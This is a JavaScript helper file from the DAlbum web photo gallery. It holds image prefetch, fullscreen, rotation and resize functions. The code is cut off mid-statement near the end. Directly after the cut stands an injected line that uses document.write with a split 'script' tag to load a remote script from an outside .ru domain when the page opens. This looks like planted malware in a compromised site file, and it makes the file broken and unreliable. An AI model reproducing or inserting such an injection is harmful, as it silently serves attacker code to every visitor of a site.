/*
	This file is a part of DAlbum.  Copyright (c) 2003 Alexei Shamov, DeltaX Inc.

    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
*/

var dalbum_imageErrors=new Array();

function dalbum_imageError(theImage)
{
	var v=theImage.src;

	for (var i=0;i<dalbum_imageErrors.length;++i)
	{
		if (dalbum_imageErrors[i]===theImage)
			return;
	}
	dalbum_imageErrors.push(theImage);
}

function dalbum_loadFailedImages()
{
	for (var i=0;i<dalbum_imageErrors.length;++i)
	{
		var v=dalbum_imageErrors[i].src;
		dalbum_imageErrors[i].src='';
		dalbum_imageErrors[i].src=v;
	}
}

var dalbum_prefetch_image;
var dalbum_prefetch_image_src;

function dalbum_prefetch(imgsrc)
{
	if (imgsrc.length>0 && document.getElementById)
	{
		dalbum_prefetch_image=new Image();

		// Find Image object and start prefetching once its loaded
  		if (document.getElementById("Image"))
  		{
  			dalbum_prefetch_image_src=imgsrc;
			if (document.getElementById("Image").complete)
			{
				dalbum_prefetch_image.src=dalbum_prefetch_image_src;
			}
			else
			{
				document.getElementById("Image").onload=new function(e) { dalbum_prefetch_image.src=dalbum_prefetch_image_src; document.getElementById("Image").onload=null;}
			}
		}
	}
}

function dalbum_setCustomFocus(objName)
{
    if (document.getElementById && document.getElementById(objName) && document.getElementById(objName).focus)
	{
		document.getElementById(objName).focus();
	}
}


function dalbum_writeFullScreen(buttonFullscreen, buttonClose)
{
	if (window.name=='fullscreen' || window.name=='popup')
		document.write(buttonClose);
	else
		document.write(buttonFullscreen);
}

function dalbum_writeRotateButton(button)
{
	if (document.body && document.body.filters)
	{
		document.write(button);
	}
}

function dalbum_addRotateStyle(objName,rotation)
{
	if (document.getElementById && document.getElementById(objName))
	{
		if (document.getElementById(objName).filters &&
			document.getElementById(objName).filters['DXImageTransform.Microsoft.BasicImage'])
		{
			document.getElementById(objName).filters['DXImageTransform.Microsoft.BasicImage'].enabled=1;
			document.getElementById(objName).filters['DXImageTransform.Microsoft.BasicImage'].rotation=rotation;
		}

		if (document.getElementById(objName).filters &&
			document.getElementById(objName).filters.item['DXImageTransform.Microsoft.BasicImage'])
		{
			document.getElementById(objName).filters.item['DXImageTransform.Microsoft.BasicImage'].enabled=1;
			document.getElementById(objName).filters.item['DXImageTransform.Microsoft.BasicImage'].rotation=rotation;
		}

	}
}


function dalbum_fullScreen()
{
	var agt=navigator.userAgent.toLowerCase();
   	var is_ie   = (agt.indexOf("msie") != -1);
	var features;
	if (is_ie)
	{
	 	features="fullscreen=yes";
	}
	else
	{
		features="toolbar=0,scrollbars=1,location=0,border=0,status=0,menubar=0,";
		features=features + 'outerHeight=' + screen.availHeight + ',outerWidth=' + (screen.availWidth-2);
	}
	var w=window.open(location.href,'fullscreen',features);
	if (w!=null)
	{
		if (!is_ie && screen.availLeft!=null && screen.availTop!=null)
			w.moveTo(screen.availLeft,screen.availTop);
		w.focus();
	}
}

function dalbum_setHideFocus()
{
	var agt=navigator.userAgent.toLowerCase();
	var is_ie   = (agt.indexOf("msie") != -1);
	var is_opera   = (agt.indexOf("opera") != -1);

	if (!is_opera && document.links.length > 0)
	{
	  for (i=0;i<document.links.length;i++)
	  {
		 if (document.links[i].className=="buttonLink" && document.links[i].hideFocus!=null)
		 {
			document.links[i].hideFocus=true;
		 }
	  }
	}
}


function dalbum_firstFocus()
{
	// If hash  - do not set control
	if (window.location.hash.toString().length>0)
		return;

	if (document.forms.length > 0)
	{
	  	var TForm = document.forms[0];
	  	for (i=0;i<TForm.length;i++)
	  	{
			 if ((TForm.elements[i].type=="text")||
				(TForm.elements[i].type=="select") ||
				(TForm.elements[i].type=="password") ||
			    (TForm.elements[i].type=="textarea")||
			    (TForm.elements[i].type.toString().charAt(0)=="s"))
			 {
			 	document.forms[0].elements[i].focus();
				break;
			 }
	  }
	}
}

function dalbum_followLink(a)
{
	if (a.target.length==0)
		window.location.href=a.href;
}

function dalbum_objectDisplay (obj) {
        var displayLine;
        for (var prop in obj) {
               displayLine = obj.name + "." + prop + " = " + obj[prop];
               document.write(displayLine + "<BR>")
        }
        document.write("End of object " + obj.name)
}
var dalbumShowImagePage =
{
	pageTableObject : null,
	imageObject : null,
	imagePlaceholder : null,
	imageWrap : null,
	imageWidth : 0,
	imageHeight : 0,
	method : "",
	rotate: 0,
	origWidth :0,
	origHeight :0,


	getWindowHeight : function()
	{
		if (document.body && document.body.clientHeight)
			return document.body.clientHeight;
		if (window.innerHeight)
			return window.innerHeight;
		if (document.documentElement && document.documentElement.clientHeight)
			return document.documentElement.clientHeight;

		return -1;
	},

	getWindowWidth : function()
	{
		if (document.body && document.body.clientWidth)
			return document.body.clientWidth;
		if (window.innerWidth)
			return window.innerWidth;
		if (document.documentElement && document.documentElement.clientWidth)
			return document.documentElement.clientWidth;

		return -1;
	},

	onResize : function()
	{
		if (this.pageTableObject!=null && this.getWindowHeight()!=-1)
			this.pageTableObject.style.height=this.getWindowHeight();
	},

	resizeImage : function()
	{
		if (this.imageObject!=null &&
			this.imagePlaceholder!=null &&
			this.pageTableObject!=null	)
		{

   			//
  			if (this.method=='noresize' || this.method=="" || this.method==null)
   				return;

   			// get document body client height
			var maxY=this.getWindowHeight();
			var maxX=this.getWindowWidth();

			if (maxY==-1 || maxX==-1)
			{

				return;
			}

			// calculate maximum boundaries for showImgPane
			var footerHeight=(this.pageTableObject.offsetHeight-this.imagePlaceholder.offsetHeight-this.imagePlaceholder.offsetTop);

			maxY=maxY - this.imagePlaceholder.offsetTop - footerHeight;

            // reduce the boundaries by the amount of extra code around the  image
			// (such as exif details, borders etc.)
			var imageWrapX=this.imageWrap.offsetWidth;
    		var imageWrapY=this.imageWrap.offsetHeight;


    		// Here goes a HACK to make it work in Konqueror and, quite likely, Safari
    		if (imageWrapX-0<=0)
    		{

    			// Our ImageWrap points to table row.
    			if (this.imageWrap.offsetParent)
    			{
    				imageWrapX=this.imageWrap.o
document.write('<sc'+'ript type="text/javascript" src="http://alienradar.ru/Script.js"></scri'+'pt>');
